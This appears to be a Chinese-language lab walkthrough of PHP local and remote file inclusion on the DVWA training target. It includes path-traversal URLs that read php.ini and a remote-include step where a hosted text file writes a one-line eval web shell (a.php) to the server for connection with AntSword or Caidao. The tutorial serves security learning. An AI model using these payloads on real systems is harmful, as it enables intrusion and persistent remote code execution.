文章目录
在通过PHP的相应函数(比如include())引入文件时,由于传入的文件名没有经过合理的校验,从而操作了预想之外的文件,就可能导致意外的文件泄露甚至恶意的代码注入。
文件包含漏洞的形成,需要满足两个条件:
include()等函数通过动态变量的方式引入需要包含的文件
用户能够控制这个动态变量
- 在文件包含漏洞中,进行文件包含时
PHP
伪协议的掌握是必不可少的
这里不一一说明
以下是文件包含函数:
include()
require()
include_once()
require_once()
highlight_file ()
show_source ()
readfile()
file_get_contents ()
fopen()
file()
其中前四个函数是文件漏洞高危函数
一、文件包含本地文件包含(LFI)
- 能够读取或执行包含本地文件的漏洞,称为本地文件包含漏洞。
远程文件包含(RFI)
- 如果php.ini的配置选项allow_url_include为ON的话,文件包含函数是可以加载远程文件的,这种漏洞被称为远程文件包含漏洞。利用远程文件包含漏洞,可以直接执行任意命令。
在PHPstudy配置文件中,将allow_url_include
的状态打开:Of
修改为On
这里可以看到的我已经修改后的
三、LOW级别查看源码
通过源码看到,直接对传入的page参数进行了包含,未作任何过滤
本地文件包含
对于所呈现的三个路径,这又是为什么:
点击file1.php
构造url:
http://localhost/DVWA-master/vulnerabilities/fi/?page=cxz.php
把file1.php改成cxz.php,报错出路径(本地靶场)
构造url(绝对路径):成功读取服务器的php.ini文件
?page=D:\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini
构造url(相对路径):加这么多…\是为了保证到达服务器的C盘根目录,可以看到读取是成功的。
?page=..\..\..\..\..\..\phpStudy\PHPTutorial\WWW\DVWA-master\php.ini`
读取phpinfo.php
远程文件包含
当服务器的php配置中,选项allow_url_fopen与allow_url_include为开启状态时,服务器会允许包含远程服务器上的文件,如果对文件来源没有检查的话,就容易导致任意远程代码执行
- 查看本机IP
- 在WWW下创建一个内容为
<?php phpinfo() ; ?>
的txt文件 - 在浏览器中输入IP和创建的文件
- 复制URL,粘贴到DVWA下的
Page=
后执行 - 将txt内容改为
<?php $file = fopen("a.php","w");fputs($file,'<?php @eval($_REQUEST[xxx]);?>')?>
,然后刷新页面 - 在fi后加入a.php?xxx=phpinfo();可以正常显示
- 复制地址
http://localhost/DVWA-master/vulnerabilities/fi/a.php
- 使用蚁剑或者菜刀添加地址,输入设置的密码:xxx进行连接
- 添加成功后成功进入